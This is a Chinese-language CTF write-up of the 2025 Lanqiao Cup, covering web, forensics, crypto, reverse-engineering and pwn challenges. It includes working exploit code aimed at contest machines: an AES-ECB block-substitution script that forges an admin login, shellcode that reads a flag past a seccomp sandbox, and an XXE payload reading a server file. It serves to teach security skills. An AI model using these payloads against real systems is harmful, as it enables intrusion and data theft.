前言
欢迎关注公众号【Real返璞归真】回复【蓝桥杯2025】获取完整题目附件。
今年是第三届蓝桥杯CTF,相比于以往两届,今年没有了理论题。其它题目整体上来看比较简单。
截止比赛结束,签到题共2345解,大约前235名可以获得省一等奖进入决赛。
情报收集
解题情况
密室黑客逃脱
你被困在了顶级黑客精心设计的数字牢笼中,每一道关卡都暗藏致命陷阱!唯一的逃脱之路,是破解散落在服务器各处的加密线索,找到最终的“数字钥匙”。
靶机题目,访问靶机后提示:
点击【立即查看日志】:
给出一串加密字符串,点击【前往秘密区域】:
提示我们去访问/file?name=xxx
,让我们猜测文件名。
访问app.py
发现代码:
import os
from flask import Flask, request, render_template
from config import *
# author: gamelab
app = Flask(__name__)
# 模拟敏感信息
sensitive_info = SENSITIVE_INFO
# 加密密钥
encryption_key = ENCRYPTION_KEY
def simple_encrypt(text, key):
encrypted = bytearray()
for i in range(len(text)):
char = text[i]
key_char = key[i % len(key)]
encrypted.append(ord(char) + ord(key_char))
return encrypted.hex()
encrypted_sensitive_info = simple_encrypt(sensitive_info, encryption_key)
# 模拟日志文件内容
log_content = f"用户访问了 /secret 页面,可能试图获取 {encrypted_sensitive_info}"
# 模拟隐藏文件内容
hidden_file_content = f"解密密钥: {encryption_key}"
# 指定安全的文件根目录
SAFE_ROOT_DIR = os.path.abspath('/app')
with open(os.path.join(SAFE_ROOT_DIR, 'hidden.txt'), 'w') as f:
f.write(hidden_file_content)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/logs')
def logs():
return render_template('logs.html', log_content=log_content)
@app.route('/secret')
def secret():
return render_template('secret.html')
@app.route('/file')
def file():
file_name = request.args.get('name')
if not file_name:
return render_template('no_file_name.html')
full_path = os.path.abspath(os.path.join(SAFE_ROOT_DIR, file_name))
if not full_path.startswith(SAFE_ROOT_DIR) or 'config' in full_path:
return render_template('no_premission.html')
try:
with open(full_path, 'r') as f:
content = f.read()
return render_template('file_content.html', content=content)
except FileNotFoundError:
return render_template('file_not_found.html')
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0')
程序使用simple_encrypt()
函数对敏感信息进行加密,当用户访问/logs
页面时返回加密后的敏感信息。
当用户访问/hidden.txt
页面时返回密钥key,我们手动访问一下:
我们有了加密算法、密钥和密文,可以编写解密函数获取明文:
def simple_decrypt(encrypted_hex, key):
encrypted_bytes = bytearray.fromhex(encrypted_hex)
decrypted = bytearray()
for i in range(len(encrypted_bytes)):
encrypted_char = encrypted_bytes[i]
key_char = key[i % len(key)]
decrypted.append(encrypted_char - ord(key_char))
return decrypted.decode('utf-8')
print(simple_decrypt("d9d1c4d9e0abc2a497df9a9a6c5fa4c9c9a592a8c39ccba6709b6b98a0c7c6d89cd994a39aae6f6f68af", "secret_key8672"))
# flag{7c92fbd5-1df3-4d1f-8e4f-bcf7e5855791}
数据分析
解题情况
ezEvtx
EVTX文件是Windows操作系统生成的事件日志文件,用于记录系统、应用程序和安全事件。
(本题需要选手找出攻击者访问成功的一个敏感文件,提交格式为flag{文件名},其中文件名不包含文件路径,且包含文件后缀)
用Windows自带的事件查看器打开,点击右侧搜索按钮,搜索文件
关键字:
找到目标日志,文件名为confidential.docx
。
flowzip
There are many zip files.
打开过滤HTTP请求,发现有100个压缩包,本来以为需要全部提取后分卷解压:
但是发现直接搜索flag字符串,可以找到flag:
密码破解
解题情况
Enigma
Enigma是20世纪早期由德国工程师Arthur Scherbius设计的一款便携式机械加密设备,旨在为需要高安全性通信的场景提供加密保护。其核心原理基于可旋转的机械转子、反射器和接线板的组合,通过复杂的电路转换实现对明文的加密与解密。
(本题需要选手还原成原文字母,提交格式为flag{原文字母},其中原文字母为全英文大写,且去掉空格。)
打开后发现是Cyberchef使用Enigma加密结果的页面:
打开Cyberchef,选择Enigma
加密算法。
放入密文,发现直接出现了明文,怀疑可能是对称加密:
ECBTrain
AES的ECB模式存在很明显的缺陷。你能否尝试以admin身份完成本题挑战?
靶机题目,加密算法为AES的ECB模式。利用了 AES-ECB 加密模式的分块独立加密特性。
ECB 模式下,相同的明文块始终加密为相同的密文块,且各块加密互不影响。
思路:
- 首先发送特定填充数据获取正常密文结构
- 然后构造包含admin的输入,使其单独成为一个加密块
- 最后将目标密文块替换到原始密文中,伪造有效凭证
完整exp:
from pwn import *
p = remote("0.0.0.0", 12345)
# 第一次加密:获取填充后的密文结构
p.sendlineafter(b":", b"1")
# 发送两个完整块(16字节)加一个字节,使第三个块只包含一个字节
p.sendlineafter(b":", b"\x0f"*16 + b"\x0f"*16 + b"\x0f")
p.sendlineafter(b":", b"123456")
enc1 = p.recvline().decode().strip().split(":")[-1]
print("enc1:", enc1)
# 第二次加密:构造包含"admin"的数据
p.sendlineafter(b":", b"1")
# 发送三个完整块加"admin",使"admin"单独成为一个块
p.sendlineafter(b":", b"\x0f"*16 + b"\x0f"*16 + b"\x0f"*16 + b"admin")
p.sendlineafter(b":", b"123456")
enc2 = p.recvline().decode().strip().split(":")[-1]
print("enc2:", enc2)
# 提取"admin"对应的密文块
# 假设"admin"块是第四个块(索引3),因为前三个块是填充
admin_block = enc2[96:128] # 每个块32个十六进制字符(16字节)
# 构造认证数据:用admin块替换原始密文中的某个块
auth_data = enc1[:32] + admin_block
# admin认证登录
p.sendlineafter(b":", b"2")
p.sendlineafter(b":", auth_data.encode())
p.interactive()
easy_AES
题目采用的是传统的AES加密,但是其中的key似乎可以通过爆破得到,你能找到其中的问题,解密出敏感数据吗?
不是很擅长密码学题目,这道题没有写。
逆向分析
解题情况
ShadowPhases
在调查一起跨国数据泄露事件时,你的团队在暗网论坛发现一组被称作’三影密匣’的加密缓存文件。据匿名线报,这些文件采用上世纪某情报机构开发的“三重影位算法”,关键数据被分割为三个相位,每个相位使用不同的影位密钥混淆。威胁分析显示,若不能在48小时内还原原始信息,某关键基础设施的访问密钥将被永久销毁。逆向工程师的日志残页显示:'相位间存在密钥共鸣,但需警惕内存中的镜像陷阱…
拖入IDA分析,发现会将我们的input与enc进行比较:
直接动态调试,拿出enc的数据即可:
BashBreaker
赛博考古学界流传着一个传说——人工智能先驱艾琳·巴什博士在自杀前,将毕生研究的核心算法封存在了他的量子实验室中。这个实验室遵循古老的巴什博弈协议,唯有通过15枚光子硬币的智慧试炼,才能唤醒沉睡的实验室AI。
脑洞题目,找到main函数后发现有一个key解密函数:
将其if判断语句patch为nop后打印出key:
但没有找到加密流程和密文,函数表中有魔改的rc4函数:
但没有进行调用。后续不知道如何下手。
最后找来找去,发现有一个数据区可能是密文:
然后使用rc4解密密文:
from Crypto.Cipher import ARC4
import binascii
def rc4(key: bytes, data: bytes) -> bytes:
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + (key[i % len(key)] ^ 0x37)) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
result = []
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
k = ((16 * k) | (k >> 4)) & 0xff
result.append((byte ^ k)&0xff)
return bytes(result)
if __name__ == "__main__":
key = b"EC3700DFCD4F364EC54B19C5E7E26DEF6A25087C4FCDF4F8507A40A9019E3B48BD70129D0141A5B8F089F280F4BE6CCD"
enc = [0xBB, 0xCA, 0x12, 0x14, 0xD0, 0xF1, 0x99, 0xA7, 0x91, 0x48,
0xC3, 0x28, 0x73, 0xAD, 0xB7, 0x75, 0x8C, 0x89, 0xCD, 0xDD,
0x2D, 0x50, 0x5D, 0x7F, 0x95, 0xB1, 0xA4, 0x9D, 0x09, 0x43,
0xE1, 0xD2, 0xE9, 0x66, 0xEA, 0x18, 0x98, 0xC6, 0xCC, 0x02,
0x39, 0x18]
plaintext = bytes(enc)
ciphertext = rc4(key, plaintext)
print("加密结果(Hex):", bytes(ciphertext))
如果你感到这个解题思路很离谱的话,那就对了。
严重怀疑是不是出题人放错题了?把半成品放进来了?
还是说现在CTF逆向题都要往脑洞题的方向发展了吗?
以后出题是不是要把加密函数和密文藏程序里,然后main函数也不给,让解题的人自己猜?
其实就算你猜到了,你也不一定能做出来。
因为解密后的key是bytes,而不是大家加密后常用的hex。
逆向 + 脑洞,请出题人以后不要再出这种题了。
漏洞挖掘分析
解题情况
RuneBreach
你是一名穿越到异世界的勇者,正面临最终决战!邪恶的 Boss 即将占领你的王国,唯一的机会就是利用传说中的“漏洞之剑”击败它。
然而,Boss 在战场上布下了魔法沙箱结界,禁止你使用常规的“召唤术”!你必须找到结界中的弱点,注入符文,才能给予 Boss 致命一击!
拖入IDA分析:
发现开启沙箱保护,然后使用mmap创建了一块内存空间,然后进入battle_loop()
函数:
根据每轮我们输入的y/N选择是否防御,最终根据player和boss的胜负分别进入boss_victory()和victory_message()函数。
跟进boss_victory()函数分析:
发现设置申请的内存为可读可写可执行权限,并允许我们输入shellcode执行。
因此,我们一直输入N选择不防御,让玩家死亡即可进入该流程。
查看沙箱保护,禁用execve:
我们直接orw即可,完整exp:
from pwn import *
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
p = process([elf.path])
p = remote("0.0.0.0", 12345)
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
for i in range(4):
p.sendlineafter(b"Defend? (y/N): ", b"N")
shellcode = asm("""
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
""")
p.send(shellcode)
# gdb.attach(p)
# pause()
p.interactive()
星际XML解析器
你已进入星际数据的世界,输入XML数据,启动解析程序,探索未知的数据奥秘!
打开发现是一个XML解析器,编写payload:
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<aaa>
<name>&xxe;</name>
</aaa>
当服务器解析这段XML时:
- 遇到
&xxe;
引用时,尝试加载定义的外部实体 - 通过
file://
协议,解析器会读取服务器上的/flag
文件 - flag文件内容会被包含在XML响应中返回
Jdbc_once
Fenjing是一款为CTF比赛设计的自动化脚本,专注于Jinja SSTI漏洞利用,旨在绕过WAF。它能自动攻击指定网站或接口,省去手动测试和fuzz WAF的时间。通过智能生成payload,支持编码混淆、字符替换等绕过技术。来用Fenjing测一测你的网站是否存在安全问题吧。
(题目同时开放了8888端口和80端口,该题目允许使用互联网辅助答题,不允许使用AI作答)
0解题目。
数据库安全
解题情况
crawler
一个简单的爬虫系统,测测它的安全问题吧!
2解题目,近几年的数据安全题好像基本没有人做。